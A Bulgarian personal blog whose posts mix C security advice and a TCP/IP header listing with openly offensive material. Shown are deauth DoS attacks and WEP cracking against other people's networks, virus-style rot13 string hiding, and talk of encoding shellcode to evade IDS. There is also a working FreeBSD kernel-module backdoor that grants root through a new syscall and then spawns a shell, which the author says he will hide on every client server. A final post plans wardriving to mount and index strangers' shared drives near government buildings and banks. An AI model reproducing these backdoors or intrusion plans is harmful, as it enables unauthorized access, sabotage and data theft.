My Shiny Weblog!

Преди време си взех тази WLAN карта, защото имаше поддръжка за Linux и Mac OS X. Лошото беше, че не успях да я подкарам в KisMAC. Преди няколко дни с радост установих, че са сложили драйвер за нея. Тръгна без ядове в KisMAC trunk r319 с USB RT73 device. Очевидно е с някакъв Ralink чип. За целта обаче трябва да се махнат “официалните” драйвери на D-Link. Повече информация по въпроса има тук. Върши очудващо добра работа за auth/deauth активни DoS атаки срещу WPA, докато в същото време вградената карта стои в пасивен режим. KisMAC си работи чудесно с двете карти едновременно, при чупене на WEP могат да се ползват заедно, като активната прави packet injection. Доста приятни занимания (в стил прееби другарчето) за мрачен неделен следобед.

Ето тази C конструкция ще ме надживее:

   char buf[20000];
   sprintf(buf, "%s", str);

Виждал съм я хиляди пъти през годините, обяснявал съм на маса народ защо аджеба не трябва да правим така, ама никога. Последната ми среща с нея е от днес. Изминаха почти 12 години от великата статия на Aleph One в списание Phrack – Smashing the stack for fun and profit. Когато напишем man sprintf във всеки един UNIX, който съм ползвал през последните години има следните пространствени обяснения:

SECURITY CONSIDERATIONS
     The sprintf() and vsprintf() functions are easily misused in a manner
     which enables malicious users to arbitrarily change a running program's
     functionality through a buffer overflow attack.  Because sprintf() and
     vsprintf() assume an infinitely long string, callers must be careful not
     to overflow the actual space; this is often hard to assure.  For safety,
     programmers should use the snprintf() interface instead.  For example:

     void
     foo(const char *arbitrary_string, const char *and_another)
     {
             char onstack[8];

     #ifdef BAD
             /*
              * This first sprintf is bad behavior.  Do not use sprintf!
              */
             sprintf(onstack, "%s, %s", arbitrary_string, and_another);
     #else
             /*
              * The following two lines demonstrate better use of
              * snprintf().
              */
             snprintf(onstack, sizeof(onstack), "%s, %s", arbitrary_string,
                 and_another);
     #endif
     }

     The printf() and sprintf() family of functions are also easily misused in
     a manner allowing malicious users to arbitrarily change a running pro-
     gram's functionality by either causing the program to print potentially
     sensitive data ``left on the stack'', or causing it to generate a memory
     fault or bus error by dereferencing an invalid pointer.

     %n can be used to write arbitrary data to potentially carefully-selected
     addresses.  Programmers are therefore strongly advised to never pass
     untrusted strings as the format argument, as an attacker can put format
     specifiers in the string to mangle your stack, leading to a possible
     security hole.  This holds true even if the string was built using a
     function like snprintf(), as the resulting string may still contain user-
     supplied conversion specifiers for later interpolation by printf().

     Always use the proper secure idiom:

           snprintf(buffer, sizeof(buffer), "%s", string);

И въпреки всичко още се намират оптимисти, които си мислят, че това по някакви причини не важи за тях. Естествено за да се сринат нещата подобаващо не е необходимо наличието на malicious users. Достатъчно е просто по някакви причини, стринга който ще пишем в буфера да няма ’\0’ накрая или пък да е по-голям от заделеното място. Един готин бъзик към хора използващи подобна конструкция е – “добре де, защо точно 20000, а не примерно 5000?”. Трудно може да се даде разумен отговор на този въпрос. Факт е, че ние очакваме да запишем в буфера някакви данни, без да имаме представа колко са големи. Нормално е, имайки предвид, че пишем в стека, ако данните са повече, да не можем да ги съберем в буфера. Използвайки правилната конструкция, можем просто да проверим дали са се хванали, и ако не са да върнем грешка. Използвайки неправилната просто ще омажем стека, ако имаме късмет програмата ще излезе със SIGSEGV, ако нямаме – ще продължи да работи и едва ли някой може да каже какво ще се случи. Писането на C не е за всеки, и най-големите майстори често си омазват стека. Много се дразня обаче, когато хората сами си правят проблемите и те са очевидни. Използването на snprintf вместо sprintf е нещо елементарно, което не изисква никакви усилия, просто трябва малко повече писане. Има маса публикации и статии по темата.

В случая друг озадачаващ момент е, че въпросната конструкция я срещнах в програма на C++, на място където не виждам нужда да се ползва стека. На същото място можем да използваме поток, можем да ползваме типа string, можем да ползваме динамична памет. Има хиляди възможности, и все пак авторът на кода е решил, че точно там ще плясне този sprintf.

Има много теми, по които не съм съгласен с този човек. Но има много повече други теми, по които съм напълно съгласен. Ето една от тях – “Cloud Computing” :

“It’s stupidity. It’s worse than stupidity: it’s a marketing hype campaign,” he told The Guardian.

“One reason you should not use web applications to do your computing is that you lose control,” he said. “It’s just as bad as using a proprietary program. Do your own computing on your own computer with your copy of a freedom-respecting program. If you use a proprietary program or somebody else’s web server, you’re defenceless. You’re putty in the hands of whoever developed that software.”

Цялото интервю с RMS можете да прочетете тук. Хубаво е, че все пак има извесно количество умни хора, които да успокояват хилядите “fashion” тенденции, заливащи ни непрекъснато.

Чудя се колко ли хора знаят какво е това…

/*
 * Definitions for internet protocol version 4.
 * Per RFC 791, September 1981.
 */
#define  IPVERSION   4

/*
 * Structure of an internet header, naked of options.
 */
struct ip {
#if BYTE_ORDER == LITTLE_ENDIAN
   u_int ip_hl:4,    /* header length */
      ip_v:4;        /* version */
#endif
#if BYTE_ORDER == BIG_ENDIAN
   u_int ip_v:4,        /* version */
      ip_hl:4;    /* header length */
#endif
   u_char   ip_tos;        /* type of service */
   u_short  ip_len;        /* total length */
   u_short  ip_id;         /* identification */
   u_short  ip_off;        /* fragment offset field */
#define  IP_RF 0x8000         /* reserved fragment flag */
#define  IP_DF 0x4000         /* dont fragment flag */
#define  IP_MF 0x2000         /* more fragments flag */
#define  IP_OFFMASK 0x1fff    /* mask for fragmenting bits */
   u_char   ip_ttl;        /* time to live */
   u_char   ip_p;       /* protocol */
   u_short  ip_sum;        /* checksum */
   struct   in_addr ip_src,ip_dst;  /* source and dest address */
} __packed;

/*
 * TCP header.
 * Per RFC 793, September, 1981.
 */
struct tcphdr {
   u_short  th_sport;      /* source port */
   u_short  th_dport;      /* destination port */
   tcp_seq  th_seq;        /* sequence number */
   tcp_seq  th_ack;        /* acknowledgement number */
#if BYTE_ORDER == LITTLE_ENDIAN
   u_int th_x2:4,    /* (unused) */
      th_off:4;      /* data offset */
#endif
#if BYTE_ORDER == BIG_ENDIAN
   u_int th_off:4,      /* data offset */
      th_x2:4;    /* (unused) */
#endif
   u_char   th_flags;
#define  TH_FIN   0x01
#define  TH_SYN   0x02
#define  TH_RST   0x04
#define  TH_PUSH  0x08
#define  TH_ACK   0x10
#define  TH_URG   0x20
#define  TH_ECE   0x40
#define  TH_CWR   0x80
#define  TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_PUSH|TH_ACK|TH_URG|TH_ECE|TH_CWR)

   u_short  th_win;        /* window */
   u_short  th_sum;        /* checksum */
   u_short  th_urp;        /* urgent pointer */
};

Тези, които са го прочели вече знаят, че това са структурите определящи съответно IP и TCP хедърите в TCP/IP v4 протокола. За хората, които нямат никаква идея от компютри пояснявам – този протокол се използва за комуникация в Интернет. Това е част от т.нар BSD TCP/IP стек, който към настоящия момент се използва във всеки един компютър, PDA, телефон, WLAN рутер и т.н. Всеки човек ползващ Интернет използва тези две структури от данни по няколко хиляди (или милиона?) пъти дневно. Обърнете внимание, в коментарите преди двете структури има дата – септември, 1981 година. Това е датата на RFC 791 и RFC 793, стандартите в които са описани тези структури. Тези стандарти, а най-вероятно и този код са писани преди колко? Ако мога да смятам правилно 27 години. Не знам какъв е бил света тогава, защото съм роден през декември 1982 година, а с компютри се занимавам от 1994 година насам. Светът сигурно доста се е променил за тези години, но протокола за комуникация в Интернет си е същия. И това не е случайно.

Казвам всички тези неща във връзка с термина “интернет анонимност”. През последните дни чета по блоговете прекалено много политически статии по темата, част от които звучат просто смешно. Говори се за някакви бити хора, някакви чукове, някакви тайни служби, мафия и международни конспирации. Защо ли? Докато TCP/IP – този 27 годишен протокол се използва за комуникация в Интернет, двама случайни потребители – Иванчо и Марийка ще могат да комуникират анонимно и конфиденциално. Бих се опитал да обясня, че това ще е възможно и при всякакъв друг протокол, но тази статия ще стане прекалено дълга. Този факт по никакъв начин не се влияе от Юропейския Съюз, ДС, ДАНС, Главата на Римокатолическата църква и Арменския поп. Всички тези институции, както и много, много други не спират да правят опити да въздействат върху начина, по който потребителите комуникират. Често тези опити са банални и смешни, защото нито една от тези институции не разбира в детайли какво точно се опитва да прави. Те също така не разбират принципите на Интернет, както и защо той работи по начина, по който работи. Истината е много проста – криптографията защитава данните от неправомерен достъп (разбирай четене на пакетите в движение), P2P комуникацията ни гарантира анонимност. Всеки който е ползвал Tor знае това. Могат да бъдат измислени какви ли не закони, които да ограничават тези неща. Те ще бъдат неприложими и елементарни за заобикаляне.

Фактът, че в България пребиха човек на улицата, за нещо което е писал в Интернет е много тъжен. Но по дяволите, вие какво очаквахте да стане? Живеем на Балканите, тук има стотици, а може би и хиляди закони, които просто не се спазват. Всичко се купува с пари, а мафията е изключително силна. Вероятността човек да яде бой говорейки срещу управляващите или мафията е много голям. Особено ако казва верни неща, които не са публично известни. Използването на технически средства е само един от многото начини мафията да се добере до такъв човек. Ако този човек е достатъчно технически грамотен, техническите средства не важат. Остават другите начини – примерно, срещу достатъчно много пари и най-близките му хора биха го “топнали”.

Така, че пишете анонимно в Интернет – нито ЕС, нито ДАНС могат да ви отнемат това право. Също както не могат да отменят законите на Нютон. Мисля, че на тази тема не трябва да се гледа политически, а технически. Но не очаквайте, че това ще ви донесе сигурност и, че няма да ви бият на улицата, ако засегнете нечии интереси. В мафиотските държави това е нормално. Аз не мисля, че някакви протести и подскачане по улиците под лозунга “анонимност в Интернет” биха променили този факт. Борбата с организираната престъпност, която в България още не е започнала, ще е дълга и ще има много жертви. Като пример в това отношение – всеки е чувал за италианската мафия и борбата с нея. Нашата родна мафия е доста по-силна, всъщност италианската държава си е имала мафия, а българската мафия си има държава.

char rot13c(char c)
{
   char u[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
   char l[] = "abcdefghijklmnopqrstuvwxyz";
   char *p;

   if ((p = xstrchr(u, c)) != NULL)
      return u[((p-u) + 13) % 26];
   else if ((p = xstrchr(l, c)) != NULL)
      return l[((p-l) + 13) % 26];
   else
      return c;
}

void rot13(char *buf, const char *in)
{
   while (*in)
      *buf++ = rot13c(*in++);
   *buf = 0;
}

int is_online(void)
{
   WININET_GETCONNECTEDSTATE pInternetGetConnectedState;
   HINSTANCE hWinInet;
   DWORD igcs_flags;
   char tmp[64];

   rot13(tmp, "jvavarg.qyy");                /* "wininet.dll" */
   hWinInet = GetModuleHandle(tmp);
   if (hWinInet == NULL || hWinInet == INVALID_HANDLE_VALUE) {
      hWinInet = LoadLibrary(tmp);
      if (hWinInet == NULL || hWinInet == INVALID_HANDLE_VALUE)
         return 2;
   }

   rot13(tmp, "VagreargTrgPbaarpgrqFgngr");  /* "InternetGetConnectedState" */
   pInternetGetConnectedState = (WININET_GETCONNECTEDSTATE)GetProcAddress(hWinInet, tmp);
   if (pInternetGetConnectedState == NULL)
      return 2;

   return (pInternetGetConnectedState(&igcs_flags, 0) == 0) ? 0 : 1;
}

Какво правим всъщност? Много е просто – използваме най-елементарното възможно кодиране с rot13 в сорс кода на програмата. Вместо wininet.dll имаме jvavarg.qyy. Преобразуването обратно става по време на изпълнението (run-time). Този вирус беше доста успешен преди години, създаде глобални проблеми в маршрутизацията и беше причина за някои идиотски изявления от страна на антивирусните фирми. Надпреварваха се да обясняват колко бил “advanced”. Всъщност толкова е “advanced” да се въртят низовете с по 13 символа, че чак Цезар го е ползвал преди повече от 2000 години. Кодирането по този начин е универсално, разбира се може да ползваме нещо различно и много по-мощно от rot13.

На времето имаше една интересна статия в Phrack. Там се говореше за кодиране на shellcodes, по начин който да не позволява откриването им от IDS подобни на Snort. За да е добре скрит един shellcode, той трябва максимално много да прилича на нормален трафик. Значението на нормален трафик е различно за всяка мрежа, но хубавото е, че ние можем да го измерим. Това което трябва да направим се нарича спректрален анализ. Трябва да се напише елементарна програма, която прави хистограма на байтовете пътуващи по мрежата. Тоест поддържа брояч – колко пъти е минал всеки байт. След като направим такава хистограма ще видим, че някои байтове се срещат много повече от други. Например по http конекциите ще текат много повече ASCII символи от колкото двойчни данни. Имайки един такъв спектрален анализ и познания по теория на кодирането, можем да си направим код. Този код ще кодира данните по такъв начин, че техния спектър да бъде максимално близък до спектъра на данните вървящи по мрежата. Това силно затруднява откриването на един shellcode от IDS. В списанието имаше работещ софтуер по въпроса.

Същата еквилибристика можем да приложим и по отношение на кодирането на низовете в един изпълним файл. За целта е необходми да се направи спректрален анализ на изпълнимите файлове. Той би трябвало да е различен за различните операционни системи (или поне за различните executable formats). Аз чак до там не съм стигнал, всъщност на мен и rot13 няма да ми трябва, понеже си познавам контингента. Никой никога няма да седне да рови. Но това са едни доста интересни идеи за бъдещо развитие на моя rootkit. Мисля, че ако някой ден, някой лош човек реши да пусне метаморфен вирус с хубав мутатор и спектрално добре прикрити данни – ще рулира света. Сегашните антивирусни може би вече се справят с rot13, но разбира се това няма никакво значение. Те винаги ще бъдат няколко крачки назад от пишещите вируси, според закона на Коен.

static int net_hook()
{
   struct pfil_head *pfh_inet; 

   pfh_inet = pfil_head_get(PFIL_TYPE_AF, AF_INET);

   if (pfh_inet == NULL)
      return(ESRCH);

   pfil_add_hook(net_check_in, NULL, PFIL_IN | PFIL_WAITOK, pfh_inet);
   pfil_add_hook(net_check_out, NULL, PFIL_OUT | PFIL_WAITOK, pfh_inet);

   return 0;
}   

static int net_check_in(void *arg, struct mbuf **m, struct ifnet *ifp, int dir, struct inpcb *inp)
{
   struct ip *hdr;

   if ((*m)->m_pkthdr.len >= (int)sizeof(struct ip))
   {
      hdr = mtod(*m, struct ip *);
      printf("got ip packet with protocol number %d\n", hdr->ip_p);
   }
   return 0;
}

static int net_check_out(void *arg, struct mbuf **m, struct ifnet *ifp, int dir, struct inpcb *inp)
{            
   return 0;
}

PS: Само до преди няколко години писането на какъвто и да било код за ядрото изискваше резервна машина, непрекъснато рестартиране, много свободно време и изключително здрави нерви. Сега си работя мързеливо от Parallels в ранния неделен следобед. За половин ден свърших толкова работа, колкото преди вършех за седмици. Обичам тази виртуализация!

Тези дни ми писна да се разправям с разни некомпетентни идиоти, които си придават важности. След като онзи ден обяснявах по телефона на един млад талант как се изпълняват файлове от текущата директория, той беше достатъчно нахален да ми отреже достъпа до машината. В случая въобще не ми пука какво ще прави този неграмотник, но се замислих принципно по въпроса. Винаги съм бил честен и не съм си оставял задни вратички по сървърите. От тази си честност не си спомням нещо добро да съм видял. За сметка на това се сещам за поне четири-пет случая, когато с радост щях да забърша хард дисковете на някои неблагодарници. От сега нататък всяка нова машина ще инсталирам с малък и добре прикрит rootkit. Понеже не ми се ползват готови неща, реших да си напиша. Сетих се, че в /usr/share/examples/kld има няколко примерни модула за ядрото. Един от тях ползвах за скелет, после написах нещо елементарно и след няколко часа работа достигнах до желания ефект – добре замаскиран модул с кодирани стрингове и privilege elevation със system call. Утре мисля да го допиша да използва pfil framework за работа с пакети. Естествено не бих си го публикувал целия, но реших да публикувам най-елементарния му вариант.

elev.c – самият kernel module:

#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>

static int elev(struct thread *td, void *arg)
{
   td->td_proc->p_ucred->cr_uid = 0;
   return 0;
}

static struct sysent elev_sysent = 
{
   0,
   elev
};

static int offset = NO_SYSCALL;

static int load(struct module *module, int cmd, void *arg)
{
   int error = 0;

   switch (cmd) 
   {
      case MOD_LOAD :
         break;
      case MOD_UNLOAD :
         break;
      default :
         error = EOPNOTSUPP;
         break;
   }
   return error;
}

SYSCALL_MODULE(elev, &offset, &elev_sysent, load, NULL);

KMOD= elev
SRCS= elev.c

.include 

#include <stdio.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/module.h>

int main()
{
   int syscall_num;
   struct module_stat stat;

   stat.version = sizeof(stat);
   modstat(modfind("elev"), &stat);
   syscall_num = stat.data.intval;
   syscall(syscall_num);
   execl("/bin/sh", "sh", NULL);
}

През последната седмица, целенасочено и за идеята, успях да счупя две WEP мрежи. Първата беше с Linksys WRTG AP с две-три машини включени към него. Трафика беше много слаб, главно ARP и SSDP заявки. Отне ми около 4 дни (и нощи) за да събера 28 800 IVs. Това се оказа достатъчно за разбиване на 128 битовия ключ на този AP. Това ми беше първото WEP кракване въобще. Втората мрежа беше някакъв Hidden WLAN, нямам идея с какъв AP. Трафика беше много голям и събрах 17 000 IVs за малко повече от час. Това беше достатъчно за разбиване на 64 битов ключ. Има тръпка в цялата работа и мисля, че успях да си намеря ново хоби. Интересен момент в разбиването е, че не си струва човек да губи много време в сметки, далеч по-ефективно е да се съберат повече пакети. Всъшност при вече събрани достатъчно много IVs, самото кракване отнема не повече от 5 минути. Това може да бъде проблем при по-слаб трафик, заради дългото чакане, може би си струва да се опита brute force с по-често използвани ключове. Голяма част от хората ги мързи да измислят 5 произволни байта и да ги запомнят. Първата парола която кракнах беше елементарна.

Обикаляйки с новия ми MacBook по улиците на София и други големи градове ми прави впечатление следното нещо. Безплатен Интернет достъп може да се използва почти навсякъде. Има огромно количество 802.11 станции, които използват WEP или просто предлагат отворен достъп. Голяма част от тези точки са на някакви частни лица, които очевидно не са си направили труда да ги направят сигурни. По-голяма част са на фирми, които главно поради незнание и несъобразяване на последиците също не са ги направили сигурни. Една много голяма част от тези точки са БТК ADSL модеми, които предлагат 802.11, като допълнителна екстра, с някаква промоция на БТК, която стартира преди време. Много съм благодарен на БТК за тази промоция, вече мога да ползвам ADSL в целия град. Ползването на безплатна Интернет връзка е по-малкото зло в случая.

Много по-голям проблем, особено за фирмите, е неправомения достъп до информация. Освен, че всеки може да се свърже (асоциира) към дадена станция с отворен достъп, всеки може да подслушва трафика между станцията и отделните компютри свързани към нея. В случая с БТК ADSL модемите, това вклюва целия Интернет трафик на всички компютри в мрежата на станцията. По-важната част от този трафик, би трябвало да е криптиран сигунрно през HTTPS – комуникация с НОИ/НАП, както и банкови операции. Друг трафик, който може да представлява интерес е този между отделните компютри в мрежата. Оказва се, че голяма част от компютрите в такива мрежи се използват за обмен на файлове. Няколко пъти срещах цели споделени (shared) дискове с Windows XP. Естествено няма никакво значение дали те са споделени с парола или без, тъй като трафика между компютърите не е криптиран. Цялата тази работа ми е много интересна. След случая с болницата Токуда, чудя се до каква ли още информация може да се достигне с минимални усилия в тази посока. Сетих се за няколко доста прости, но ефективни неща, които ще опиша тук.

Подходящите точки за достъп (802.11 станции) са много, и са разпръснати из града. Необходимото време, което човек трябва да престои в обхвата на една точка се определя от броя на компютрите в нея, както и информацията на тях, която ни интересува. Идеалният вариант за обхождане е с кола, карайки бавно из задръстванията на София. Нещо като комбинация от wardriving и piggybacking. За да бъде ефективна тази работа, тя трябва да бъде автоматизирана. Би било глупаво човек да цъка на мака в колата и да рови папките на нещастниците, които са ги споделили. Хубавото на тази “атака” е, че тя може да бъде проведена на няколко пъти. Например може минавайки първия ден с компютъра през задръстването на Граф Игнатиев, човек да събере информация колко са интересните точки и да си опише кои компютри от тях ще сканира. На следващия ден може да си свали част от необходимата му информация и така нататък. Вероятността собствениците да се усетят е доста малка.

Първото нещо, което ни е необходимо е програма от сорта на iStumbler или KisMAC. Втората може много повече неща, но пък не е толкова удобна за ползване. Една такава програмка може да ни подскаже коя мрежа/станция би била интересна за нас. Също така може да ни сортира отделните станции по определени критерии, така че да можем да ги ровим наред. Няма да говоря за кракване на WEP, защото материали на тази тема бол, а и отворените мрежи са предостатъчно. След като си харесаме мрежа, можем се асоциираме към нея. Почти със сигурност ще получим IP адрес от мрежата, но това не е толкова важно. Вече асоциирани в нея можем да използваме tcpdump или Wireshark за да видим какво “тече” по нея и кои компютри са активни. Всички Windows машини се познават веднага благодарения на NetBIOS broadcast съобщенията. От тях става ясно кой/къде/какво е споделил, както и имената на отделните компютри в мрежата. Ето защо, каквото и да искаме да правим за повечето мрежи ще е много полезно да имаме Samba. По този начин ще можем да работим лесно с отделните споделени неща. Друго полезно нещо в случая, което вече имаме при положение, че ползваме Mac OS – MacFUSE. Някакъв Linux също би свършил добра работа в това отношение, идеята е да можем да закачваме файлови системи в user space на операционната система. Това предлага бърз, лесен и сигурен достъп до файловете, които ни вълнуват.

И така, до тук елементарно можем да напишем програма, която намира подходяща мрежа, намира подходящ компютър в нея и закачва част от неговата файлова система към нашата. Колко елементарно се пише тя няма да коментирам тук, само ще кажа, че подобна програма може да бъде написана на Apple Script или да бъде направена с помощта на Automator, без човек да е чувал що е то програмиране. Най-интересната част от тази мой идеи е какво да правим от тук нататък. Би било глупаво просто да ровим файловете или да преписваме на локалния диск всичко, което намерим. Всъшност няма никаква нужда да преписваме каквото и да било, поради простата причина, че информацията ще си бъде там и на следващия ден – просто е необходимо да отидем да си я вземем, стига да решим, че ни трябва. Някъде около 90% от намерената информация изобщо няма да ни интересува (не съм сигурен за процента, написах го наизуст). Трябва някакси да подберем информацията, а защо не и да търсим в нея. Този проблем адски много напомня за проблема за търсене и класифициране на информация в Интернет. Разбира се, този той е решен много елегантно от Google. Как точно – те си знаят. Всъшност нас не ни интересува, нашата задача може да бъде решена с техните алгоритми, просто трябва да използваме Google Desktop Search for Mac. Това е една доста добра и удобна програма, която ни позволява да направим индекс на файловата система и да използваме алгоритмите на Google за търсене в този индекс. По този начин много удобно можем да ровим локално из чат логове, PDF документи, man страници, сорсове на програми и още какво ли не. Тъй като споделените файлове на хората стават част от нашата файлова система, необходимо е само да пуснем индексирането на Google. Когато то приключи, можем да се развържем от съответната машина и да преминем към следваща. Разбира се, всичко това може да става автоматично, чрез програмата, която ще напишем. Резултатът е, една хубава SQLite база данни, която ние си пазим върху хард диска на мака. Ако сме били достатъчно хитри да си закачваме файловите системи на отделните компютъри към директории с точно определени имена – вече знаем кой файл, на кой чужд компютър се намира. След време, ако търсейки в индекса от вкъщи си харесаме нещо – просто можем да отидем и да си го копираме цялото. Какво ли би излезнало от едно такова търсене, например за – “пин код”, “договор”, “пълномощно”, “фактура”, “строго секретно”, ...

И така, оставям останалите подробности на читателите. Много съм любопитен какво би станало, ако някои с MacBook и такава програма се поразходи около Президентството, Народно Събрание, или пък около БНБ. Може би дори Министерство на Вътрешните Работи? ДСК на Плиска също е една интересна дестинация. Очаквам коментари, препоръки и отзиви.